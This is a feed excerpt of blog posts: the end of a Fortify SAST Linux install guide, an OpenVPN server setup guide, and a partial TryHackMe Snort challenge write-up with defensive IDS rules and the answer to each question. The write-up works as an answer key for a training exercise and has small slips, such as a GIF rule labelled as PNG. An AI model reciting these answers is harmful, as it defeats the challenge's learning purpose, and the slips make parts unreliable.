Ubuntu 24.0.2 LTS for this example.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/741/1*6UhXjELuizQkSIM6x0zgbA.png" /></figure><p>Start with extracting files with</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/595/1*DCksSDETIwRtoG6G10m-2w.png" /></figure><p>Give the execute permission for the <strong>.run</strong> file</p><blockquote>chmod +x OpenText_SAST_Fortify_Linux_25.2.0.run</blockquote><p>Run the installer file for your operating system to start the OpenText SAST Setup wizard:</p><blockquote>./OpenText_SAST_Fortify_linux-x64_<em>&lt;version&gt;</em>.run</blockquote><blockquote><strong>Note: </strong>Sudo can be used but needs to adding to all commands after installation</blockquote><p>Review and accept the license agreement, and then click <strong>Next</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/643/1*Gy91BVO2FCts4CLRFE965g.png" /></figure><p>Select components to install, and then select <strong>Yes</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/659/1*pLtp5KNUCR4KTwMQMyE3ow.png" /></figure><p>If the installer detects that the system does not include the minimum software required to analyze some types of projects, a <a href="https://www.microfocus.com/documentation/fortify-static-code-analyzer-and-tools/2520/sast-ugd-html-25.2.0/Content/sys-reqs/sca-sw.htm"><strong>System Requirements</strong></a> page displays any missing requirements and which projects require them. Click <strong>Next</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/620/1*9veZsUJeVevRqNyP9lquVg.png" /></figure><p>Choose where to install OpenText SAST, and then click <strong>Next</strong>.</p><p>If you selected to include Fortify ScanCentral SAST client with the installation in step 3, then you must specify a location that does not include spaces in the path.</p><p><strong>Important! </strong>Do not install OpenText SAST in the same directory where OpenText™ Application Security Tools is installed.</p><p>Under <strong>/opt </strong>folder selected in this example.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/614/1*iXfTMFCR5sLL8xSfg52Jrw.png" /></figure><p>Specify the path to the fortify.license file, and then hit <strong>Enter</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/620/1*ruyzSmGFaXoKByjHz5tCsw.png" /></figure><p>(Optional) On the <strong>LIM License</strong> page, select <strong>Yes</strong> to manage your concurrent licenses with Fortify License and Infrastructure Manager (LIM) or select <strong>No </strong>and click next.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/637/1*HdxI7L2t9C7I6LJRQw5p5A.png" /></figure><p>To update the security content for your installation:</p><blockquote><strong>Note: </strong>For deployment environments that do not have access to the internet during installation, you can update the security content using the fortifyupdate command-line tool. See <a href="https://www.microfocus.com/documentation/fortify-static-code-analyzer-and-tools/2520/sast-ugd-html-25.2.0/Content/install/PostInstall/InstallSecurityContent.htm">Manually installing Fortify Software Security Content</a>.</blockquote><ul><li>Type the web address of the update server.</li><li>To use the Fortify Rulepack update server for security content updates, keep the web address https://update.fortify.com. You can also use Fortify Software Security Center as the update server.</li><li>(Optional) If connection to the update server requires a proxy server, type the proxy host and port number.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/611/1*O1sYdAparCjVfq4xlgur-Q.png" /></figure><p>Specify if you want to migrate from a previous installation on your system.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/695/1*Pck2j-5jxxE3hwu4klV3Kg.png" /></figure><p>Select <strong>YE</strong>S on the <strong>Ready to Install </strong>and Finish the Installation.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/642/1*A2krr5h53TVeOaBfuLMFJw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/607/1*p4HWKQPurBgt1D7IiznLmw.png" /></figure><h3>12.Installing Fortify Tools for Linux</h3><p>Start with extracting files with</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/543/1*1aViU29cjJcVJFMf4GZmFA.png" /></figure><p>Give the execute permission for the <strong>.run</strong> file</p><blockquote>chmod +x Fortify_Apps_and_Tools_24.4.0_linux_x64.run</blockquote><p>Run the installer file for your operating system to start the Setup wizard:</p><blockquote>./Fortify_Apps_and_Tools_&lt;version&gt;_linux_x64.run</blockquote><p>Accept the license and continue</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/641/1*83lm2YeYmH9lB8ZdBbJkZw.png" /></figure><p>Specify the path for installation</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/666/1*3nNRsKmPoWpCwxF68VA_dQ.png" /></figure><p>Select components to install, and then select <strong>Yes</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/892/1*q4DGgwVAl8vxIwl4ZeQxGQ.png" /></figure><p>Specify the path to the fortify.license file, and then hit <strong>Enter</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/622/1*oQBAOOLuTrDQVNJwctfQPw.png" /></figure><p>Specify if you want to migrate from a previous installation on your system.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/680/1*VlrS9N4RprnO_ZyLwCo5Qw.png" /></figure><p>Select <strong>YE</strong>S on the <strong>Ready to Install </strong>and Finish the Installation.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/638/1*FsQx89Mwk7_E2TVsBw0owA.png" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=9de01f516cc1" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[How to create your own VPN Server]]></title>
            <link>https://medium.com/@keraattin/how-to-create-your-own-vpn-server-198cea98dd59?source=rss-778c8f496cd2------2</link>
            <guid isPermaLink="false">https://medium.com/p/198cea98dd59</guid>
            <dc:creator><![CDATA[Kerem]]></dc:creator>
            <pubDate>Thu, 14 Nov 2024 18:37:11 GMT</pubDate>
            <atom:updated>2024-11-14T19:59:58.928Z</atom:updated>
            <content:encoded><![CDATA[<p>For security or any other reasons you might want to use VPN. You may choose a VPN provider or you can build your own VPN server into any VPS service. I choose to using my very own VPN server and I’m going to tell you how to do it.</p><p>Creating your own VPN server provides enhanced privacy, allowing you to control the data flow and mitigate the risk of data interception that can happen with commercial VPN services. It also provides a more tailored experience, enabling you to configure the server according to your security and speed needs.</p><h3>1.Selecting VPS Provider</h3><p>Selecting a high-quality VPS service provider is equally crucial for maintaining connection stability, security, and performance. A reliable VPS in a location aligned with your needs (such as low latency for local access or specific regions for geo-unrestricted access) ensures the VPN server can deliver optimal speeds and secure connections. I’ll not making VPS provider suggestions but I’ll go with DigitalOcean.</p><h3>2. Create Droplet</h3><h4>2.1 Selecting Region</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/800/1*C-UYkW8O7n5YxWVHRuuRFQ.png" /></figure><p>Choosing the right region for your VPN server is key for both speed and functionality. A nearby region minimizes latency, enhancing performance, while selecting a different region can help bypass geo-restrictions. Additionally, data privacy laws vary by region, so it’s important to choose one that aligns with your privacy needs.</p><h4>2.2 Selecting OS Image</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*kHYeR2Jr-GR0KU8st_dwxw.png" /></figure><p>Choosing the right OS image is essential for a stable and secure OpenVPN server. Some operating systems, like Ubuntu or Debian, are highly compatible with OpenVPN and have strong community support, simplifying installation and troubleshooting. A lightweight OS can also improve server performance, especially if your VPS has limited resources. Additionally, selecting an OS with a strong security track record helps minimize vulnerabilities, ensuring your VPN server is more resilient to potential attacks. Plus I prefer LTS distributions for stability.</p><p>However in this case I prefer using built-in OpenVPN image.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*kVhXiZG3imXhd26yi5eVTw.png" /></figure><h4>2.3 Authentication Method Selection</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*EfYmci3-wkZZjGu1VVbRqA.png" /></figure><p>Selecting the right authentication method for your VPS is crucial for safeguarding your VPN server. Password authentication, while convenient, can be vulnerable to brute-force attacks, making SSH key authentication a more secure option. SSH keys provide a higher level of protection by requiring both a private key and a passphrase, reducing the risk of unauthorized access. Implementing two-factor authentication (2FA) adds an additional layer, requiring a second verification step, which further enhances security and helps protect your VPS from unauthorized access.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*lUoR4pJwNydB0UaFhhjIiA.png" /><figcaption>Droplet SSH Key Pair Registration</figcaption></figure><p>Okey, let’s select the SSH key. Now we need to generate an SSH Key and paste it here.</p><p>I prefer using PuTTY to generate SSH Key and make connection.</p><p>I’m going to create an SSH Key with PuTTY Key Generator(PuTTYgen).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/755/1*ZnwfoSjCUmC2lPyPkjHXyQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/479/1*-Ad-GPhvpM7m7Nbr8tMFaw.png" /></figure><p>After getting the Public Key paste it to the Droplet SSH Key Pair Registration page and Save the public-private key pair into your local storage.</p><p>For more detailed PuTTY SSH Keygen visit <a href="https://docs.digitalocean.com/products/droplets/how-to/add-ssh-keys/create-with-putty/">Digital Ocean article</a>.</p><h3>3.Accessing Terminal</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ODrppXgtJUy55dMRPFVyjQ.png" /></figure><p>We need to go to the Access tab and click Launch Droplet Console for open the console. Or we can make a connection via SSH directly.</p><h4>3.1 Connecting via SSH</h4><ul><li>Open PuTTY</li><li>Type your IP address</li><li>Go to Connection-&gt;SSH-&gt;Auth-&gt;Credentials and select your key</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/437/1*RzQ9cQPUMFBGYJZzzPmCiw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/515/1*BAk10OFWip0O7FO8g1349A.png" /></figure><h3>4. Setting Up</h3><p>After we connect the server, we need to make the configurations. The configs showing up when we make our first connection.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/867/1*wb3clc-kws1KHvXVIAoP1A.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/698/1*EsHBUnrbJWzawcftcnQEng.png" /></figure><p>When we finish the configurations our OpenVPN Server Ready. Now we need set up Firewall rules.</p><h3>5. Firewall</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*yXeCN514gPQvlYuWnnBjXQ.png" /></figure><p>Configuring the firewall correctly is crucial for the security and functionality of your OpenVPN server. Proper firewall settings ensure that only necessary ports, such as the OpenVPN port and SSH for server management, are open, reducing exposure to potential attacks. By blocking all other inbound traffic, you minimize the risk of unauthorized access or data leaks. Outbound rules also help control the data your VPN server can transmit, further securing your network. Overall, a well-configured firewall acts as a protective barrier, allowing only the traffic essential for your VPN while blocking potential threats.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-zIvjjHki3O5gPZKBSu7Ow.png" /></figure><p>I added SSH 22 for SSH connection 443 VPN Connections and 943 for OpenVPN Admin Interface.</p><p>You might want to change default Ports for better security.</p><p>Don’t forget to apply this firewall rules to your droplet.</p><h3>6. Adding User to OpenVPN</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Cyrl7Y1uvjXPd2WWmACSDA.png" /></figure><p>Go to User Management -&gt; User Permissions. Type your new user’s username and save.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*yfah66TW9OspRaQ4M94Evw.png" /></figure><h3>7. Getting OpenVPN Client</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*V8ZrFDiiDgLt2E_eHQc5dA.png" /></figure><p>Go to<a href="https://openvpn.net/client/"> OpenVPN Official web</a> site and download OpenVPN Client for which device you’d like to use.</p><h3>8. Make Connection</h3><p>When you done installing the OpenVPN Connect, open it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/392/1*CkBCPs3buVzyFgidWFKxjg.png" /></figure><p>Type your OpenVPN Server Address.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/392/1*BmffHLr8XXOLTdvMxIxEfA.png" /></figure><p>And done. You are connected.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/396/1*gSc_ZolAdOetYhKQ-1BCbg.png" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=198cea98dd59" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[TryHackMe Snort Challenge]]></title>
            <link>https://medium.com/@keraattin/tryhackme-snort-challenge-63a59d0580ab?source=rss-778c8f496cd2------2</link>
            <guid isPermaLink="false">https://medium.com/p/63a59d0580ab</guid>
            <category><![CDATA[tryhackme-walkthrough]]></category>
            <category><![CDATA[tryhackme-writeup]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[writeup]]></category>
            <dc:creator><![CDATA[Kerem]]></dc:creator>
            <pubDate>Thu, 08 Aug 2024 16:38:27 GMT</pubDate>
            <atom:updated>2024-08-08T16:43:13.177Z</atom:updated>
            <content:encoded><![CDATA[<h3>TryHackMe Snort Challenge Write Up</h3><p>In this tasks we will create snort rules to solve challenges. <br>The room invites you a challenge to investigate a series of traffic data and stop malicious activity under two different scenarios.</p><p>To accomplish tasks successfully you must complete the <a href="https://tryhackme.com/room/snort">Snort</a> room first.</p><h3>Opening the Challenge VM</h3><p>Hit the start button on the top of the right corner and then screen will be splitted.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/917/1*UrskH4ZgmSmXEqz-LIAehQ.png" /><figcaption>Hit the start button</figcaption></figure><p>When your VM fully loaded you will see the task files in the desktop.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/782/1*R8ijFIasMT2hEIO4PnGy6g.png" /></figure><p>Before we proceed let’s remember the snort rules structure first. This will be so much helpful</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*1evi6t3lCFwYLEmi.png" /></figure><h3>Task 2 -Writing IDS Rules (HTTP)</h3><p>In this task we’re going to create rules by changing local.rules file to accomplish tasks.</p><h4>Write a <strong>single</strong> rule to detect “<strong>all TCP port 80 traffic</strong>” packets in the given pcap file.</h4><h4>What is the number of detected packets?</h4><p><strong>Note:</strong> You must answer this question correctly before answering the rest of the questions in this task.</p><p>Let’s write our rule to get TCP 80 traffic. <br>Go to Task-2 (HTTP) folder and open the <strong>local.rules</strong> file.<br>Add this config below to local.rules file.</p><blockquote>alert tcp any any &lt;&gt; any 80 (msg:”TCP port 80 found”; sid:100001; rev:1;)</blockquote><p>After that we need to run this command to get alerts.</p><blockquote>sudo snort -c local.rules -A full -l . -r mx-3.pcap</blockquote><p>Now we see the number of the alerts</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/897/1*s6t328CyOmy7Zb6zi7FNYA.png" /></figure><p>The answer is : <strong>164</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/872/1*PnYjCrUwk1MgbUts7NhsaA.png" /></figure><h4>Investigate the log file.</h4><h4>What is the destination address of packet 63?</h4><p>We need to investigate log file to see the details of the packets. In order to that we need use this command</p><blockquote>sudo snort -r snort.log.1722495992 -n 65</blockquote><p>I select -n parameter 65 instead of 63 because we’re gonna need details of package 64 and 65 at the next tasks.</p><p>As the result of the command we’re seeing package details of first 64 packages. Let’s navigate the last 2 package to answer the question.</p><p>Scroll up little bit and you’ll see the destination address of packet 63</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/845/1*SCNoJCBfEoMueQKOuhwVyw.png" /></figure><p>The answer is : <strong>216.239.59.99</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/881/1*LL50K_siu80LEdDmOLnqiw.png" /></figure><h4>What is the ACK number of packet 64?</h4><p>There is no need aditional commands to execute to answer this question. Let’s find the packet 64 from the previous command.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/863/1*YySrlxvoL9pXIXFY42hk7Q.png" /></figure><p>The answer is : <strong>0x2E6B5384</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/865/1*6HZbGUyL_UmInb46dA59qA.png" /></figure><h4>What is the SEQ number of packet 62?</h4><p>There is no need aditional commands to execute to answer this question. Let’s find the packet 62 from the previous command.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/842/1*4T9fws_UlylWbjA7O7sqbg.png" /></figure><p>The answer is : <strong>0x36C21E28</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/863/1*XyrEZbGNEhnKK9PVKODJIQ.png" /></figure><h4>What is the TTL of packet 65?</h4><p>There is no need aditional commands to execute to answer this question. Let’s find the packet 65 from the previous command.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/837/1*Oq59s1cQHMjsoWKXIs_xRA.png" /></figure><p>The answer is : <strong>128</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/881/1*jdJRBvIiVstsfbSDXsIm4g.png" /></figure><h4>What is the source IP of packet 65?</h4><p>There is no need aditional commands to execute to answer this question. Let’s find the packet 65 from the previous command.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/842/1*kU4866lyjobzDUq3XWDRiA.png" /></figure><p>The answer is : <strong>145.254.160.237</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/875/1*er6j6oSE-LGh6z7lIjJ_Og.png" /></figure><p>What is the source port of packet 65?</p><p>There is no need aditional commands to execute to answer this question. Let’s find the packet 65 from the previous command.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/840/1*aXWoBxfqpmWCG7etPh10nA.png" /></figure><p>The answer is : <strong>3372</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/873/1*68WK2clQq_curhxXtFcwrg.png" /></figure><h3>TASK 3 - Writing IDS Rules (FTP)</h3><p>We’re continue to write rules to accomplish tasks. In this task we’re going to create IDS Rules for FTP traffic.</p><h4>Write a <strong>single</strong> rule to detect “<strong>all TCP port 21</strong>” traffic in the given pcap.</h4><h4>What is the number of detected packets?</h4><p>Let’s write our rule to get TCP 21 traffic. <br>Go to Task-3 (FTP) folder and open the <strong>local.rules</strong> file.<br>Add this config below to local.rules file.</p><blockquote>alert tcp any any &lt;&gt; any 21 (msg:”TCP port 21found”; sid:100001; rev:1;)</blockquote><p>After that we need to run this command to get alerts.</p><blockquote>sudo snort -c local.rules -A full -l . -r ftp-png-gif.pcap</blockquote><p>Now we see the number of the alerts</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/783/1*qPK3u8w74BW9EFbym_xZEg.png" /></figure><p>The answer is : <strong>307</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/876/1*xf1JHuPxaZiZJ1__K72ypQ.png" /></figure><h4>What is the FTP service name?</h4><p>We’re gonna use -X parameter to see details of the packages in this question.</p><blockquote>-X Dump the raw packet data starting at the link layer</blockquote><p>We’re gonna run this command the see details of the packages from log file</p><blockquote>sudo snort -r snort.log.1722501698 -X</blockquote><p>After run this command we will see bunch of packages. In order to see packages clearly we need to add this command -n 10 to reduce package size to 10.</p><blockquote>sudo snort -r snort.log.1722501698 -X -n 10</blockquote><p>After execute this command we need scroll up a little bit and we will see the FTP Service Name at the right of the packages.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/853/1*4Dt1cXSeLoUuUx2oiXSwUw.png" /></figure><p>The answer is : <strong>Microsoft FTP Service</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/857/1*DUeYlUk_mNluWS3RdIThPA.png" /></figure><h4>Deactivate/comment on the old rules.</h4><h4>Write a rule to detect failed FTP login attempts in the given pcap.</h4><h4>What is the number of detected packets?</h4><p>Before we proceed we need to deactivate/comment old rules in order to done this task.</p><p>In this task we need to find FTP login attempts. Let’s checkout the hint of this question first:</p><blockquote>Each failed FTP login attempt prompts a default message with the pattern; “530 User”. Try to filter the given pattern in the inbound FTP traffic.</blockquote><p>It says there must be a pattern and we can detect this failed attempts with this pattern.</p><p>Let’s remember how to capture content/payload from pcap.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*KqCJcL88pkdFve3NN_v6YQ.png" /></figure><p>Now, let’s write our rule to get “539 User” from pcap file.</p><blockquote>alert tcp any any &lt;&gt; any 21 (msg: “FTP Login Attempt Found”; content:”530 User”; sid: 100001; rev:1;)</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1017/1*-YO5sZFPllTOMhbNN3HnBA.png" /></figure><p>Save this rule and let’s execute the command to get alerts.</p><blockquote>sudo snort -c local.rules -A full -l . -r ftp-png-gif.pcap</blockquote><p>As the result of the command we found 41 alerts.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/457/1*rXeLI45djfMifUrrIhnaaQ.png" /></figure><p>The answer is : <strong>41</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*skBFUehcVr9nyqCSDRb2rA.png" /></figure><h4>Deactivate/comment on the old rule.</h4><h4>Write a rule to detect successful FTP logins in the given pcap.</h4><h4>What is the number of detected packets?</h4><p>We need to deactivate/comment old rules again.</p><p>In this task we need to find successful FTP logins this time.</p><p>Let’s investigate the hint:</p><blockquote>Each successful FTP login attempt prompts a default message with the pattern; “230 User”.Try to filter the given pattern in the FTP traffic.</blockquote><p>There is a pattern again.</p><p>Let’s change our payload section of the rule from the previous task.</p><blockquote>alert tcp any any &lt;&gt; any 21 (msg: “FTP Login Found”; content:”230 User”; sid: 100001; rev:1;)</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1018/1*B4s4ZHxrIvkv5bVnPQRRTQ.png" /></figure><p>Save this rule and let’s execute the command to get alerts.</p><blockquote>sudo snort -c local.rules -A full -l . -r ftp-png-gif.pcap</blockquote><p>As the result of the command we found 1 alert.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/420/1*iz4y_Rp8qu6b22L9dMqlAA.png" /></figure><p>The answer is : <strong>1</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*SUMzhMuHbdZ2x-3Rxqd3Gg.png" /></figure><h4>Deactivate/comment on the old rule.</h4><h4>Write a rule to detect FTP login attempts with a valid username but no password entered yet.</h4><h4>What is the number of detected packets?</h4><p>We need to deactivate/comment old rules again.</p><p>In this task we need to find successful FTP login attempts with a valid username this time.</p><p>Let’s investigate the hint:</p><blockquote>Each FTP login attempt with a valid username prompts a default message with the pattern; “331 Password”. Try to filter the given pattern in the FTP traffic.</blockquote><p>There is a pattern again.</p><p>Let’s change our payload section of the rule from the previous task.</p><blockquote>alert tcp any any &lt;&gt; any 21 (msg: “FTP Login Attempt with Valid Username Found”; content:”331 Password”; sid: 100001; rev:1;)</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*VFh9ssKLz4vwaW1F6D_GOA.png" /></figure><p>Save this rule and let’s execute the command to get alerts.</p><blockquote>sudo snort -c local.rules -A full -l . -r ftp-png-gif.pcap</blockquote><p>As the result of the command we found 42 alerts.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/463/1*0ytstL-hlGOxp4Y7PHhhJg.png" /></figure><p>The answer is : <strong>42</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*o1LqR5dCxfHDCD8z3n9ycA.png" /></figure><h4>Deactivate/comment on the old rule.</h4><h4>Write a rule to detect FTP login attempts with the “Administrator” username but no password entered yet.</h4><h4>What is the number of detected packets?</h4><p>We need to deactivate/comment old rules again.</p><p>In this task we need to find successful FTP login attempts with the “Administrator” username but no password this time.</p><p>Let’s investigate the hint:</p><blockquote>You can use the &quot;content&quot; filter more than one time.</blockquote><p>We need to capture 2 content at the same time. In order to that let’s remember how to capture 2 content/payload from pcap at the same time.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*b9FPqt0zOzk31K6NsCTBEA.png" /></figure><p>Now, let’s write our rule to get “Administrator” username but no password from pcap file.</p><p>We can keep some parts of the rule from previous task and add fast_pattern.</p><blockquote>alert tcp any any &lt;&gt; any 21 (msg: “FTP Login Attempt with Administrator Found”; content:”331 Password”; fast_pattern; content:”Administrator”; sid:100001; rev:1;)</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*BO4h35FzfJD5b1k6j5J5WA.png" /></figure><p>Save this rule and let’s execute the command to get alerts.</p><blockquote>sudo snort -c local.rules -A full -l . -r ftp-png-gif.pcap</blockquote><p>As the result of the command we found 7 alerts.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/427/1*HFuLYKJvrS5QaFGy0LE4-Q.png" /></figure><p>The answer is : 7</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*vAA8B9yUq7F-bzMFjIosKA.png" /></figure><h3>TASK 4 - Writing IDS Rules (PNG)</h3><p>We’re continue to write rules to accomplish tasks. In this task we’re going to create IDS Rules for PNG files in the traffic.</p><h4>Use the given pcap file.</h4><h4>Write a rule to detect the PNG file in the given pcap.</h4><h4>Investigate the logs and identify the software name embedded in the packet.</h4><p>In this task we need to find the PNG files.</p><p>This task ask about software name in the packets. In order to get that we can use <strong>strings </strong>command.</p><blockquote>sudo strings ftp-png-gif.pcap</blockquote><p>Execute this command and scroll up little bit and you’ll see the answer.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/438/1*BDEcCqenWlNJmnqMLtHnIA.png" /></figure><p>The answer is : <strong>Adobe ImageReady</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*bqw9PEsX3mGt7BRbRMUTvw.png" /></figure><h4>Deactivate/comment on the old rule.</h4><h4>Write a rule to detect the GIF file in the given pcap.</h4><h4>Investigate the logs and identify the image format embedded in the packet.</h4><p>We need to detect GIF file in the given pcap.</p><p>Let’s investigate the hint:</p><blockquote>Check for the MIME type/Magic Number.</blockquote><p>It says we need to use MIME type/Magic Numbers.</p><p>Let’s go to <a href="https://en.wikipedia.org/wiki/List_of_file_signatures">MIME type/Magic Numbers</a> page and find the gif’s section.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/970/1*tnaqZDlr54-8QBBHalwguQ.png" /></figure><p>2 Types of GIF exist, <strong>GIF87a </strong>and <strong>GIF89a</strong>. Our GIF file must be one of them.</p><p>Let’s create a rule to detect GIF87a.</p><blockquote>alert tcp any any &lt;&gt; any any (msg:”PNG File Found”; content:”|47 49 46 38 37 61|”; sid:100001; rev:1;)</blockquote><p>Save the rule and execute the command to get alerts.</p><blockquote>sudo snort -c local.rules -A full -l . -r ftp-png-gif.pcap</blockquote><p>No result found.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/448/1*CBqNf9FX4N-99oeNvj0EtA.png" /></figure><p>Oke. Let’s try to GIF89a</p><blockquote>alert tcp any any &lt;&gt; any any (msg:”PNG File Found”; content:”|47 49 46 38 39 61|”; sid:100001; rev:1;)</blockquote><p>Save the rule and execute the command to get alerts.</p><blockquote>sudo snort -c local.rules -A full -l . -r ftp-png-gif.pcap</blockquote><p>As the result of the command we found 4 alerts.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/473/1*-IHCyPaQh11RjILQsDVItg.png" /></figure><p>Yes we found the GIF type.</p><p>The answer is : <strong>GIF89a</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*KnkyN6hACovviFjsNsDJPA.png" /></figure><h3>TASK 5 - Writing IDS Rules (Torrent Metafile)</h3><p>We’re continue to write rules to accomplish tasks. In this task we’re going to create IDS Rules for torrent metafiles in the traffic.</p><h4>Use the given pcap file.</h4><h4>Write a rule to detect the torrent metafile in the given pcap.</h4><h4>What is the number of detected packets?</h4><p>We need to find the Torrent files in this task.</p><p>Let’s look at the hint section first:</p><blockquote>Torrent metafiles have a common name extension (.torrent). Try to filter the given pattern in the TCP traffic.</blockquote><p>It says torrent files have an extension of “.torrent”. we’ll type “.torrent” in content section to detect torrent files in the traffic.And “nocase” option is will help us to disable case sensitivity.</p><p>Let’s write our rule</p><blockquote>alert tcp any any &lt;&gt; any any (msg:”Torrent File Found”; content:”.torrent”; nocase; sid:100001; rev:1;)</blockquote><p>Save the rule and execute the command to get alerts.</p><blockquote>sudo snort -c local.rules -A full -l . -r torrent.pcap</blockquote><p>As the result of the command we found 2 alerts.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/433/1*C_NvlB7W_-puTfEHUXAKDQ.png" /></figure><p>The answer is : 2</p><h4>Investigate the log/alarm files.</h4><h4>What is the name of the torrent application?</h4><p>This task ask about name of the torrent application in the packets. In order to get that we can use <strong>strings </strong>command.</p><blockquote>sudo strings torrent.pcap</blockquote><p>Execute this command and scroll up little bit and you’ll see the answer.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/580/1*xrrMg2Z2TykD4dIEjpR-2Q.png" /></figure><p>The answer is : <strong>bittorrent</strong></p><h4>Investigate the log/alarm files.</h4><h4>What is the MIME (Multipurpose Internet Mail Extensions) type of the torrent metafile?</h4><p>We can find the answer from the previous question.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/581/1*D6qcsrpcsTyJUkTVoNr1Bg.png" /></figure><p>The answer is : <strong>application/x-bittorrent</strong></p><h4>Investigate the log/alarm files.</h4><h4>What is the hostname of the torrent metafile?</h4><p>We can find the answer from the previous question.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/578/1*oXoHCNTbCPa4vrdhLJwpsg.png" /></figure><p>The answer is : <strong>tracker2.torrentbox.com</strong></p><h3>TASK 6 - Troubleshooting Rule Syntax Errors</h3><p>Let’s troubleshoot rule syntax errors!</p><p><strong>In this section, you need to fix the syntax errors in the given rule files.</strong></p><p>You can test each ruleset with the following command structure;</p><p>sudo snort -c local-X.rules -r mx-1.pcap -A console</p><h4>Fix the syntax error in <strong>local-1.rules</strong> file and make it work smoothly.</h4><h4>What is the number of 